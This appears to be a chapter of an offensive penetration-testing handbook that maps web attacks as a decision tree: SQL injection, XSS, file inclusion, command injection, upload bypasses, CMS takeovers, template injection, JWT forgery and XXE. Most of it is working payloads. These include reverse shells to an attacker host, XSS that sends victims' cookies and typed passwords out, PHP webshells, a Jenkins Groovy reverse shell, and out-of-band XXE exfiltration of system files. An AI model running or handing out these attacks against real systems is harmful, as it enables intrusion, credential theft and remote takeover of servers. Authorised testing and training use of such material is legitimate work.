Chapter 2: Web Attack Surface¶
Tags: #web #sqli #sqlmap #xss #lfi #rfi #cmdi #fileupload #cms #wordpress #joomla #drupal #tomcat #jenkins #ssti #jwt #ffuf #burp #idor #xxe
Overview¶
Web attacks cover everything from content discovery through full RCE via web vulnerabilities. This chapter maps the web attack surface in a decision-tree format: what you observe → which technique to apply → what outcome to expect. Every section routes to the next step.
Web Attack Decision Tree¶
Target has a web application?
│
├── Step 1: Fingerprint the tech stack (§1)
│
├── Step 2: Content discovery — dirs, vhosts, params (§2)
│
├── Step 3: Identify attack surface
│ ├── Login form / user input → §4 (SQLi)
│ ├── Reflected user input → §5 (XSS)
│ ├── File include/path params → §6 (LFI/RFI)
│ ├── System command execution params → §7 (CMDi)
│ ├── File upload functionality → §8 (File Upload)
│ ├── Object IDs in URL/params → check for IDOR
│ ├── XML input / SOAP endpoints → check for XXE
│ ├── Template engine output → §10 (SSTI)
│ ├── JWT tokens in auth headers → §11 (JWT)
│ ├── CMS detected (WordPress/Joomla/Drupal/Tomcat/Jenkins) → §9 (CMS)
│ ├── Source code accessible (git repo, GOGS)? → read upload/auth logic before attacking
│ ├── Invite code / regex-gated access? → read source via LFI first, reverse-engineer regex
│ └── CMS: Nexus Repository Manager → §9x (Nexus Groovy RCE)
│ SonarQube → §9y (SonarQube admin enum)
│
└── Any shell obtained → proceed to Chapter 4 (Foothold Consolidation)
1. Web Fingerprinting¶
# Passive — headers + server banner
curl -sI http://<TARGET>/ | grep -iE "server|x-powered-by|set-cookie|content-type"
# whatweb — fast tech stack fingerprinting
whatweb http://<TARGET>/ -v
# wafw00f — detect WAF before sending payloads
wafw00f http://<TARGET>/
# Nikto — quick vulnerability scan
nikto -h http://<TARGET>/ -o nikto_output.txt
# Check robots.txt and sitemap
curl http://<TARGET>/robots.txt
curl http://<TARGET>/sitemap.xml
Fingerprinting results → attack routing:
├── PHP + Apache/Nginx → try LFI (/etc/passwd), SQLi, file upload
├── ASP.NET + IIS → try ASPX upload, auth bypass, padding oracle
├── WordPress → §9a (WPScan)
├── Joomla → §9b (droopescan)
├── Drupal → §9c
├── Tomcat → §9d
├── Jenkins → §9e
└── WAF detected → test payload encoding/obfuscation; use SQLMap tamper scripts
2. Content Discovery¶
Directory Fuzzing¶
# Standard dir brute-force
ffuf -u http://<TARGET>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt \
-fc 404 -t 50 -o dirs.json
# With file extensions
ffuf -u http://<TARGET>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt \
-e .php,.asp,.aspx,.jsp,.html,.txt,.bak,.old -fc 404 -t 50
# Recursive discovery
ffuf -u http://<TARGET>/FUZZ -w /opt/useful/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt \
-recursion -recursion-depth 2 -fc 404 -t 30
Virtual Host Fuzzing¶
# Enumerate subdomains / vhosts (filter by response size, not status code)
ffuf -u http://<TARGET_IP>/ -H "Host: FUZZ.<DOMAIN>" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
-fs <BASELINE_RESPONSE_SIZE> -t 40
# Baseline: first request with invalid host → note size of 404 response → use -fs to filter it
ffuf -u http://<TARGET_IP>/ -H "Host: invalid.domain" 2>/dev/null | grep -i "size"
Parameter Discovery¶
# GET parameter fuzzing
ffuf -u "http://<TARGET>/page.php?FUZZ=value" \
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-fs <BASELINE_SIZE> -t 30
# POST parameter fuzzing
ffuf -u "http://<TARGET>/login.php" -X POST \
-d "FUZZ=value" \
-H "Content-Type: application/x-www-form-urlencoded" \
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-fs <BASELINE_SIZE>
# Value fuzzing — test an identified parameter for SQLi/LFI/etc.
ffuf -u "http://<TARGET>/page.php?id=FUZZ" \
-w /usr/share/seclists/Fuzzing/special-chars.txt -fs <BASELINE_SIZE>
3. Burp Suite Workflow¶
Setup:
1. Firefox → Settings → Network → Manual Proxy → 127.0.0.1:8080
2. Burp → Proxy → Options → verify listener on 127.0.0.1:8080
3. Burp → CA cert → http://burpsuite/cert → import to Firefox trusted CAs
Key workflow:
├── Proxy → Intercept ON → browse target → capture requests
├── Right-click request → Send to Repeater (Ctrl+R) → modify and replay
├── Right-click request → Send to Intruder → set payload positions → attack
│ ├── Sniper: one position, one wordlist
│ └── Cluster Bomb: multiple positions, multiple wordlists (credential stuffing)
├── Decoder: Base64/URL/HTML encode and decode payloads
└── Comparer: diff two responses to find differences
Useful extensions:
└── ActiveScan++ , Logger++, Turbo Intruder (for high-speed fuzzing)
4. SQL Injection¶
Manual Detection¶
# Test for errors — inject in each parameter one at a time
' # single quote — look for SQL error message
'' # doubled single quote — should not error
' OR '1'='1 # always-true condition (auth bypass)
' OR '1'='1'-- # with comment to kill rest of query
' OR '1'='1'/* # MySQL block comment
' AND SLEEP(5)-- # time-based blind (if app pauses 5 seconds → SQLi confirmed)
' AND 1=1-- # boolean true (compare with AND 1=2)
' AND 1=2-- # boolean false — different response = blind SQLi
# UNION-based: find number of columns
' ORDER BY 1-- # no error
' ORDER BY 2-- # no error
' ORDER BY N-- # error → N-1 columns
' UNION SELECT NULL,NULL,NULL-- # confirm column count
# Find which column displays text
' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--
SQLMap — Full Exploitation Chain¶
# 1. Detect injection point
sqlmap -u "http://<TARGET>/page.php?id=1" --dbs --batch
# 2. With POST request (capture from Burp, save as req.txt)
sqlmap -r req.txt --dbs --batch
# 3. If WAF present — use tamper scripts
sqlmap -u "http://<TARGET>/page.php?id=1" --dbs --batch \
--tamper=space2comment,between,randomcase
# 4. Enumerate databases → tables → columns → dump
sqlmap -u "http://<TARGET>/page.php?id=1" -D <DBNAME> --tables --batch
sqlmap -u "http://<TARGET>/page.php?id=1" -D <DBNAME> -T <TABLE> --columns --batch
sqlmap -u "http://<TARGET>/page.php?id=1" -D <DBNAME> -T <TABLE> -C username,password --dump --batch
# 5. File read (if FILE privilege)
sqlmap -u "http://<TARGET>/page.php?id=1" --file-read="/etc/passwd" --batch
# 6. File write (webshell — if writable web root)
sqlmap -u "http://<TARGET>/page.php?id=1" \
--file-write="./shell.php" --file-dest="/var/www/html/shell.php" --batch
# 7. OS shell (highest privilege — requires stacked queries or xp_cmdshell on MSSQL)
sqlmap -u "http://<TARGET>/page.php?id=1" --os-shell --batch
# Common tamper scripts:
# space2comment, between, randomcase → WAF evasion
# charencode, charhexencode → character encoding
# 0x2char, apostrophemask → quote avoidance
SQLi outcome decision:
├── --dbs works → enumerate and dump target DBs (look for credentials, PII)
├── --file-read /etc/passwd works → read sensitive files; try /etc/shadow, web configs, SSH keys
├── --file-write → drop webshell → RCE (proceed to Ch.4)
├── --os-shell → interactive OS command execution (proceed to Ch.4)
└── Only error-based data extraction → still dump credentials from DB
5. Cross-Site Scripting (XSS)¶
Detection¶
// Basic reflection test — inject in every input field, URL param, header
<script>alert(1)</script>
"><script>alert(1)</script>
'><script>alert(1)</script>
// If alert pops → reflected XSS confirmed
// HTML context (no script tag needed)
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
// Attribute context
" onmouseover="alert(1)
' onfocus='alert(1)' autofocus='
// DOM-based (check JS source for document.location, document.write, innerHTML)
#<script>alert(1)</script>
javascript:alert(1)
Cookie Theft (Session Hijacking)¶
// Step 1: Set up listener on attacker box
// Create cookie catcher (PHP):
// <?php $c=$_GET['c']; file_put_contents('cookies.txt',$c."\n",FILE_APPEND); ?>
python3 -m http.server 80 // or use php -S 0.0.0.0:80
// Step 2: Payload (inject into stored XSS location)
<script>document.location='http://<LHOST>/index.php?c='+document.cookie;</script>
// Or with fetch (bypasses some CSP):
<script>fetch('http://<LHOST>/?c='+btoa(document.cookie))</script>
// Step 3: Victim visits page → cookie sent to your listener
// Step 4: Use session cookie in Burp → replace your cookie → authenticated session
Phishing Form (Credential Harvest via XSS)¶
// Inject fake login form
document.write('<h3>Session Expired</h3><form action="http://<LHOST>/log.php" method="POST"><input name="u" placeholder="Username"><input type="password" name="p" placeholder="Password"><input type="submit" value="Login"></form>');
6. File Inclusion (LFI / RFI)¶
LFI Detection¶
# Test path traversal in any file parameter
?page=../../../../etc/passwd
?file=....//....//....//etc/passwd # double dot bypass
?page=..%2F..%2F..%2Fetc%2Fpasswd # URL encoded
?page=....\/....\/etc/passwd # backslash bypass
# Null byte (older PHP)
?page=../../../../etc/passwd%00
# Confirm: look for root:x:0:0: in response
LFI — Useful File Targets¶
Linux:
├── /etc/passwd → user list
├── /etc/shadow → password hashes (needs root)
├── /etc/hosts → internal network mapping
├── /proc/net/tcp → open ports
├── /home/<user>/.ssh/id_rsa → private SSH key
├── /var/www/html/config.php → DB credentials
└── /var/log/apache2/access.log → log poisoning entry point
Windows:
├── C:\Windows\win.ini → LFI confirmation
├── C:\Windows\System32\drivers\etc\hosts
├── C:\inetpub\wwwroot\web.config → .NET DB credentials
└── C:\xampp\htdocs\config.php
LFI → RCE via Log Poisoning¶
# Step 1: Poison the log (inject PHP code into User-Agent)
curl -s "http://<TARGET>/" -A "<?php system(\$_GET['cmd']); ?>"
# Step 2: Include the log file via LFI + pass command
curl "http://<TARGET>/page.php?file=/var/log/apache2/access.log&cmd=id"
# Other poison targets:
# /var/log/nginx/access.log
# /var/log/auth.log (inject via SSH username: ssh '<?php system($_GET["cmd"]);?>'@target)
# /proc/self/environ → inject via User-Agent
# /var/mail/<user> → inject via email subject/body
PHP Wrappers (No Log Needed)¶
# Base64 encode source files (bypasses output rendering, reads PHP source)
?page=php://filter/convert.base64-encode/resource=/etc/passwd
?page=php://filter/read=convert.base64-encode/resource=index.php
# Execute via data wrapper (if allow_url_include=On)
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=
# (that base64 is: <?php system($_GET['cmd']); ?>)
# Expect wrapper (if PHP expect extension installed)
?page=expect://id
RFI (Remote File Inclusion)¶
# Only works if allow_url_include=On and allow_url_fopen=On
# Host malicious PHP on attacker box
echo '<?php system($_GET["cmd"]); ?>' > shell.php
python3 -m http.server 80
# Include it
?page=http://<LHOST>/shell.php&cmd=id
?page=ftp://<LHOST>/shell.php # via FTP if HTTP blocked
7. Command Injection¶
Detection¶
# Test operators — inject after normal input
;id
&&id
||id
`id`
$(id)
# Blind detection (no output — use time delay or OOB)
;sleep 5 # if response delays 5 seconds → blind CMDi
&& ping -c 1 <LHOST> # ICMP OOB
&& curl http://<LHOST>/$(whoami) # DNS/HTTP OOB — check server logs
Filter Bypass Techniques¶
# Bypass space filter
cat${IFS}/etc/passwd
cat$IFS$9/etc/passwd
{cat,/etc/passwd}
# Bypass keyword filter (block on "cat", "ls", etc.)
c'a't /etc/passwd # quoted chars — shell ignores quotes inside words
ca\t /etc/passwd # backslash escape
$(printf '\x63\x61\x74') /etc/passwd # hex-encoded command name
# Bypass via newline (if semicolons/& blocked)
%0a id # URL-encoded newline
# Bypass blacklist with environment variables
${PATH:0:1} # → /
${HOSTNAME:0:1} # → first char of hostname
$HOME # → /root or /home/user
# Base64 encoded payload (bypass static string detection)
echo 'aWQ=' | base64 -d | bash # aWQ= is base64('id')
bash<<<$(base64 -d<<<aWQ=)
Reverse Shell via CMDi¶
# Once CMDi confirmed — get reverse shell
# Set up listener first
nc -lvnp 4444
# Inject one of:
;bash -i >& /dev/tcp/<LHOST>/4444 0>&1
;/bin/bash -c 'bash -i >& /dev/tcp/<LHOST>/4444 0>&1'
;python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<LHOST>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# URL-encode the payload if submitting via URL parameter
8. File Upload Attacks¶
Upload Bypass Decision Tree¶
Can you upload a file?
│
├── Is there a file type check?
│ ├── Client-side only (JS validation) → intercept in Burp, bypass before send
│ ├── MIME type check (Content-Type header) → change to image/jpeg in Burp
│ ├── Extension blacklist → try: .php5, .phtml, .pHp, .PhP (case variation)
│ └── Extension whitelist → .htaccess override OR polyglot file
│
├── Is the upload directory web-accessible?
│ ├── YES → upload webshell → access URL → RCE
│ └── NO → look for other file-processing features (XML parser, image resizer, PDF generator)
│
└── Is the server Windows?
└── Try: shell.php.jpg → some servers strip the .jpg extension
Try: shell.asp;.jpg (semicolon parsing trick on older IIS)
Bypass Techniques¶
# 1. Content-Type bypass (in Burp Repeater)
# Change: Content-Type: application/php
# To: Content-Type: image/jpeg
# 2. Magic bytes — prepend valid image header to PHP webshell
echo -e "\xFF\xD8\xFF\xE0" > shell.php.jpg # JPEG magic bytes
echo '<?php system($_GET["cmd"]); ?>' >> shell.php.jpg
# 3. Double extension
mv shell.php shell.php.jpg # if server processes left-to-right
mv shell.php shell.jpg.php # if server uses last extension
# 4. .htaccess override (Apache — upload to same directory)
# Upload a file named: .htaccess with content:
# AddType application/x-httpd-php .jpg
# Then upload: shell.jpg (containing PHP code) → it executes as PHP
# 5. SVG with XXE payload (for SVG upload features)
# <?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><svg>&xxe;</svg>
Webshell Payloads¶
// Minimal PHP webshell
<?php system($_GET['cmd']); ?>
// More functional
<?php echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>"; ?>
// With auth (don't forget the password)
<?php if(isset($_POST['cmd']) && $_POST['p']=='pass'){echo shell_exec($_POST['cmd']);} ?>
§8b — File Upload Bypass: Double Extension + LFI Chain¶
# Step 1: Read upload handler source via LFI php://filter
curl -s "http://<TARGET>/index.php?page=php://filter/convert.base64-encode/resource=upload.php" | base64 -d
# Step 2: Identify regex filter — e.g. /^.*\.(jpg|jpeg|png|gif)$/
# Bypass: double extension — shell.phtml.jpg passes the regex, server executes .phtml
# Craft payload:
echo '<?php system($_GET["cmd"]); ?>' > shell.phtml.jpg
# Step 3: Upload the double-extension payload via the form
# Step 4: Trigger via LFI
curl "http://<TARGET>/index.php?page=uploads/shell.phtml.jpg&cmd=id"
Invite code regex bypass: read source via LFI, reverse-engineer format, generate valid code manually. Example: regex
^tril_[0-9A-Za-z]{4}_[0-9A-Za-z]{4}_[0-9A-Za-z]{4}_20[0-9]{2}$→ usetril_1234_abcd_5678_2024
§8c — Drupal Webshell via Malicious Theme Upload¶
# Step 1: Enable insecure uploads via config import
# Navigate to: /admin/config/development/configuration/single/import
# Type: Simple Configuration | Name: system.file
# Paste:
# allow_insecure_uploads: true
# default_scheme: public
# path:
# temporary: /tmp
# Step 2: Build malicious theme archive
mkdir theme
echo '<?php system($_GET["cmd"]); ?>' > theme/shell.phtml
cat > theme/theme.info.yml << 'EOF'
name: 'Themea'
type: theme
description: 'Diagnostic.'
core_version_requirement: ^9 || ^10
base theme: false
EOF
cat > theme/.htaccess << 'EOF'
Options +ExecCGI
AddType application/x-httpd-php .phtml .phar .php
AddHandler application/x-httpd-php .phtml .phar .php
EOF
zip -r theme.zip theme/
# Step 3: Upload via Appearance > Install new theme > Upload
# Step 4: Trigger webshell
curl "http://<TARGET>/themes/theme/shell.phtml?cmd=id"
curl "http://<TARGET>/themes/theme/shell.phtml?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/<ATTACKER_IP>/<PORT>+0>%261'"
9. CMS Attacks¶
9a. WordPress¶
# Enumerate everything
wpscan --url http://<TARGET>/ --enumerate vp,vt,u,cb,dbe --api-token <TOKEN>
# Brute-force admin credentials
wpscan --url http://<TARGET>/ -U admin -P /usr/share/wordlists/rockyou.txt
# xmlrpc brute-force (bypasses some rate limiting)
# POST to /xmlrpc.php:
# <methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value><string>admin</string></value></param><param><value><string>password</string></value></param></params></methodCall>
wpscan --url http://<TARGET>/ --password-attack xmlrpc -U admin -P rockyou.txt
# If admin credentials obtained → RCE via theme editor:
# Appearance → Theme Editor → 404.php → replace with webshell
# Trigger: curl "http://<TARGET>/wp-content/themes/<THEME>/404.php?cmd=id"
# Plugin upload (alternative to theme editor)
# Zip a PHP file named: shell.php → Plugins → Add New → Upload Plugin → install
9b. Joomla¶
# Enumerate version and components
droopescan scan joomla --url http://<TARGET>/
# Admin panel usually at: /administrator/
# If admin creds found → System → Templates → Protostar → index.php → add webshell
# Joomla SQLi (older versions)
# CVE-2015-8562 — remote code execution (check with metasploit search joomla)
9c. Drupal¶
# Enumerate version
droopescan scan drupal --url http://<TARGET>/
# If admin access → Enable PHP filter module:
# Modules → PHP filter → Enable
# Content → Add Content → Basic Page → Format: PHP code → paste webshell
# Drupalgeddon2 (CVE-2018-7600) — pre-auth RCE
python3 drupalgeddon2.py http://<TARGET>/
# Or: use exploit/unix/webapp/drupal_drupalgeddon2 in Metasploit
# CVE-2019-6340 (Drupal 8.6.x < 8.6.10)
9d. Apache Tomcat¶
# Manager panel: /manager/html (default creds: tomcat:tomcat, admin:admin, tomcat:s3cr3t)
# If creds found → deploy WAR webshell:
# Generate malicious WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST> LPORT=4444 -f war -o shell.war
# Deploy via curl
curl -u 'tomcat:tomcat' -T shell.war "http://<TARGET>:8080/manager/text/deploy?path=/shell"
# Trigger the shell
curl "http://<TARGET>:8080/shell/"
# Or: upload via Manager GUI → Deploy WAR → select file → deploy → navigate to path
9e. Jenkins¶
# If Jenkins accessible (often port 8080 or 8090):
# Check for unauthenticated access: http://<TARGET>:8080/
# Admin panel: /manage → Script Console → Groovy execution
# Groovy reverse shell (paste into Script Console):
String host="<LHOST>";
int port=4444;
String cmd="bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);}p.destroy();s.close();
# Alternative one-liner (works if bash available)
def cmd = "bash -c {echo,<BASE64_REVSHELL>}|{base64,-d}|bash"
println cmd.execute().text
§9x — Nexus Repository Manager¶
# Default credentials to try: admin:admin123, admin:nexus, admin:admin
# CVE-2024-4956 — Unauthenticated path traversal (affects all < 3.68.0)
curl -v --path-as-is "http://<TARGET>:8081/%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2Fsonatype-work%2Fnexus3%2Fadmin.password"
curl -v --path-as-is "http://<TARGET>:8081/%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem32%2Fdrivers%2Fetc%2Fhosts"
# Authenticated Groovy Script RCE (admin access required)
# Note: scripting API disabled by default in >= 3.21.2 — may need to enable in nexus.properties
cat > rce.json << 'EOF'
{
"name": "rce",
"type": "groovy",
"content": "def cmd = [\"cmd\", \"/c\", \"whoami\"]; def proc = cmd.execute(); proc.waitForOrKill(5000); return proc.text;"
}
EOF
# Create script
curl -s -X POST -u 'admin:<PASS>' -H "Content-Type: application/json" \
-d @rce.json http://<TARGET>:8081/service/rest/v1/script
# Execute script
curl -s -X POST -u 'admin:<PASS>' -H "Content-Type: text/plain" \
http://<TARGET>:8081/service/rest/v1/script/rce/run
# Update existing script (PUT):
curl -s -X PUT -u 'admin:<PASS>' -H "Content-Type: application/json" \
-d @rce.json http://<TARGET>:8081/service/rest/v1/script/rce
# Cleanup — delete script when done:
curl -s -X DELETE -u 'admin:<PASS>' http://<TARGET>:8081/service/rest/v1/script/rce
§9y — SonarQube¶
# Version fingerprint (unauthenticated — /api/system/status is always public)
curl -s http://<TARGET>:9000/api/system/status
# Default credentials: admin:admin, admin:sonar, admin:sonarqube
# Validate auth (returns {"valid":true} if correct):
curl -u admin:sonar http://<TARGET>:9000/api/authentication/validate
# Unauthenticated project browse (< 8.6 default allows Anyone group):
curl -s "http://<TARGET>:9000/api/projects/search"
curl -s "http://<TARGET>:9000/api/components/search?qualifiers=TRK"
# System info (authenticated admin):
curl -s -u admin:<PASS> "http://<TARGET>:9000/api/system/info" | python3 -m json.tool
# Source code search for credentials:
curl -s -u admin:<PASS> "http://<TARGET>:9000/api/sources/search?q=password"
curl -s -u admin:<PASS> "http://<TARGET>:9000/api/sources/search?q=secret"
# User tokens and accounts:
curl -s -u admin:<PASS> "http://<TARGET>:9000/api/users/search"
curl -s -u admin:<PASS> "http://<TARGET>:9000/api/user_tokens/search"
10. Server-Side Template Injection (SSTI)¶
Detection — Identify Template Engine¶
Injection test sequence (try each in a reflected input field):
├── {{7*7}} → returns 49? → Twig or Jinja2
│ └── {{7*'7'}} → 49 (int) → Jinja2
│ └── {{7*'7'}} → 7777777 (string repeat) → Twig
├── ${7*7} → returns 49? → FreeMarker or Pebble
├── #{7*7} → returns 49? → Pebble
├── <%=7*7%> → returns 49? → ERB (Ruby)
├── ${7*7} → returns 49 in context of ${...}? → Velocity
└── *{7*7} → returns 49? → Thymeleaf (Spring)
Decision tree:
{{7*7}} = 49?
├── YES → {{7*'7'}}?
│ ├── 49 → Jinja2 (Python)
│ └── 7777777 → Twig (PHP)
└── NO → ${7*7}?
├── 49 → FreeMarker or Pebble
└── NO → <%=7*7%> → 49? → ERB (Ruby)
Jinja2 RCE (Python/Flask)¶
# Read file
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
# Execute OS commands (multiple variants — try each if blocked)
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
# Reverse shell via Jinja2
{{ config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/<LHOST>/4444 0>&1"').read() }}
Twig RCE (PHP)¶
// Twig — filter callback
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
// Twig — system function
{{['id']|filter('system')}}
{{['bash -c "bash -i >& /dev/tcp/<LHOST>/4444 0>&1"']|filter('system')}}
FreeMarker RCE (Java)¶
// FreeMarker — Execute class
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("bash -c {echo,<BASE64>}|{base64,-d}|bash")}
ERB RCE (Ruby/Rails)¶
<%= system("id") %>
<%= `id` %>
<%= IO.popen('id').readlines() %>
<%= require 'open3'; Open3.popen3('id'){|i,o,e,t| o.read} %>
tplmap — Automated SSTI Exploitation¶
# Install
git clone https://github.com/epinna/tplmap
pip3 install -r tplmap/requirements.txt
# Basic scan — auto-detects engine
python3 tplmap/tplmap.py -u 'http://<TARGET>/page?name=*'
# With POST
python3 tplmap/tplmap.py -u 'http://<TARGET>/page' -d 'name=*'
# OS command execution
python3 tplmap/tplmap.py -u 'http://<TARGET>/page?name=*' --os-cmd id
# Shell
python3 tplmap/tplmap.py -u 'http://<TARGET>/page?name=*' --os-shell
SSTI exploitation decision:
├── Jinja2 → config.__class__.__init__.__globals__['os'].popen() → RCE
├── Twig → _self.env.registerUndefinedFilterCallback("exec") → RCE
├── FreeMarker → freemarker.template.utility.Execute?new() → RCE
├── ERB → system() or backtick → RCE
└── Unknown engine → tplmap -u 'url?param=*' → auto-detect + auto-exploit
11. JWT Attacks¶
Decode and Inspect¶
# JWT structure: header.payload.signature (base64url encoded)
# Decode header
echo "<HEADER_PART>" | base64 -d 2>/dev/null
# Decode payload
echo "<PAYLOAD_PART>" | base64 -d 2>/dev/null
# Use jwt_tool for analysis
pip3 install jwt_tool
python3 jwt_tool.py <TOKEN>
Attack 1: Algorithm None (alg:none)¶
# Craft a token with no signature — some servers accept it
# Manual: base64url-encode modified header {"alg":"none","typ":"JWT"} + payload
# Then append with empty signature: header.payload.
# jwt_tool automates this:
python3 jwt_tool.py <TOKEN> -X a
# Try variations: "None", "NONE", "nOnE", ""
Attack 2: RS256 → HS256 Key Confusion¶
# If server uses RS256 (asymmetric) but accepts HS256 (symmetric):
# Sign the token using the RS256 public key as the HMAC secret
# Step 1: Get the public key (check /.well-known/jwks.json or /api/auth/jwks)
curl http://<TARGET>/.well-known/jwks.json
# Step 2: Convert JWKS to PEM (if needed)
python3 jwt_tool.py <TOKEN> -V -jw jwks.json # verify to extract pub key
# Step 3: Forge token signed with pub key as HS256 secret
python3 jwt_tool.py <TOKEN> -X k -pk public.pem
Attack 3: Secret Cracking¶
# If HMAC-signed (HS256/HS384/HS512) — crack the secret
# Format for hashcat: full JWT token string
echo '<FULL_JWT_TOKEN>' > jwt.hash
# Hashcat mode 16500
hashcat -a 0 -m 16500 jwt.hash /usr/share/wordlists/rockyou.txt
# If cracked → sign arbitrary payloads with the secret
# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt jwt.hash --format=HMAC-SHA256
Attack 4: Claim Tampering¶
# If secret known or signing bypassed — modify claims
# Common targets: "role":"user" → "role":"admin", "sub":"user1" → "sub":"admin", "exp": increase
# jwt_tool modify and re-sign with known secret
python3 jwt_tool.py <TOKEN> -T # tamper mode (interactive)
# Or manually:
# 1. Decode header + payload
# 2. Modify payload (e.g., "admin":true)
# 3. Re-sign with known secret:
python3 jwt_tool.py <TOKEN> -S hs256 -p '<CRACKED_SECRET>'
Attack 5: jwt_tool Scan All¶
# Run all jwt_tool attacks against an endpoint
python3 jwt_tool.py <TOKEN> -t http://<TARGET>/api/admin -M at -v
# -M at = run all tamper tests
# Check for any 200 / different response vs normal
JWT attack decision:
├── alg=none in header? → try alg:none bypass directly
├── alg=RS256 and public key accessible? → try HS256 key confusion
├── alg=HS256? → crack secret with hashcat -m 16500
├── Secret cracked? → re-sign with modified claims (escalate role/admin)
└── Server returns 500 on modified tokens? → server-side validation in place; SSTI/SQLi more promising
12. XXE Injection¶
Detection¶
<!-- Inject into any XML input — SOAP, file upload, API body -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY test "test">]>
<root><data>&test;</data></root>
<!-- If "test" appears in response → XML parser processes entities → XXE possible -->
File Read¶
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><data>&xxe;</data></root>
<!-- Windows -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
SSRF via XXE¶
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<root><data>&xxe;</data></root>
<!-- AWS metadata endpoint — extracts IAM credentials -->
Blind OOB XXE (No Output in Response)¶
<!-- Attacker-hosted DTD: http://<LHOST>/evil.dtd -->
<!-- evil.dtd content: -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://<LHOST>/?data=%file;'>">
%eval;
%exfil;
<!-- Injection payload: -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % dtd SYSTEM "http://<LHOST>/evil.dtd">%dtd;]>
<root><data>x</data></root>
<!-- File contents sent to your HTTP server -->
13. Routing — Shell Obtained¶
Web shell / reverse shell obtained?
│
├── Shell as www-data / IIS AppPool / low user:
│ └── → Chapter 5 (Privilege Escalation — Linux or Windows)
│
├── Credentials extracted from DB / config:
│ └── → Chapter 4 §5 (Credential Extraction decision tree)
│ └── Try credentials against SSH/WinRM/SMB → potential new foothold
│
├── No code execution but credentials obtained:
│ └── → Chapter 3 (Service/Protocol Exploitation)
│ └── Try SSH, WinRM, SMB with found credentials
│
└── Internal SSRF obtained:
└── Probe internal services: 169.254.169.254 (cloud metadata), 172.x.x.x, 192.168.x.x
└── Port scan via SSRF: http://127.0.0.1:<PORT>/